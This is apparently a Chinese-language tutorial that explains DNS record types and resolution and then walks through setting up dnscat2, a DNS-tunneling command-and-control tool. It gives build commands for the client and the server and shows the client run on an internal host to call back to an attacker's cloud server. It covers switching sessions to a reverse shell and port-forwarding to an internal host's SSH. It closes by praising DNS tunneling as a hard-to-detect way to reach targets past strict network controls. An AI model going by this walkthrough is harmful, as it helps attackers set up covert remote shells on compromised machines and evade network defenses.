DNS介绍

DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。 AAAA记录:记录将域名解析到一个指定的ipv6的ip上 CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。 NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。 MX记录:指向的是一个邮件服务器。 TXT记录:一般是指某个主机名或域名的说明 PTR记录:反向DNS

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

本地客户端---->Local DNS server---->根域服务器

Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。

Dnscat2工具介绍

Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。

Dnscat2环境搭建

服务端:ubuntu 腾讯云服务器

客服端:ubuntu 内网主机

客户端:

git clone https://github.com/iagox86/dnscat2
cd dnscat2/client/
make

服务端:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
apt-get install ruby-dev
bundle install

1、首先在服务端运行,

ruby dnscat2.rb

出现问题前面加个sudo

运行成功之后会显示这个命令,拷贝下来,x.x.x.x替换成服务端的ip到客户端运行。

DNScat2工具:通过DNS进行C&C通信 DNS隧道 DNS端口转发 DNS反弹shell_DNScat2教程

客户端运行成功之后显示:

DNScat2工具:通过DNS进行C&C通信 DNS隧道 DNS端口转发 DNS反弹shell_DNS端口转发_02

客户端运行成功之后,服务端显示:

DNScat2工具:通过DNS进行C&C通信 DNS隧道 DNS端口转发 DNS反弹shell_DNS隧道_03

以下命令列出所有窗口:

windows

DNScat2工具:通过DNS进行C&C通信 DNS隧道 DNS端口转发 DNS反弹shell_DNS端口转发_04

然后通过以下命令切入到会话:

session -i 4

之后通过shell命令执行反弹。

DNScat2工具:通过DNS进行C&C通信 DNS隧道 DNS端口转发 DNS反弹shell_DNS端口转发_05

查看回话,发现shell会话,通过session -i 2 切换到shell。

DNScat2工具:通过DNS进行C&C通信 DNS隧道 DNS端口转发 DNS反弹shell_DNScat_06

DNScat2工具:通过DNS进行C&C通信 DNS隧道 DNS端口转发 DNS反弹shell_DNScat2教程_07

还有其他功能,如端口转发等,还有上传下载文件等,比如建立转发,执行以下命令:

listen 127.0.0.1:888 10.0.0.10:22

然后你就可以通过888端口来进行SSH连接了,命令如下:

ssh cell@127.0.0.1 -p 888

总结

即使是在限制非常严格的情况下,DNS流量也应该是允许放行的。我们就可以利用DNS隧道技术在目标主机和我们的C&C服务器之间建立连接。命令和信息都包含在DNS查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。DNScat2也正是利用了这一点才成为了一个非常不错的攻击工具。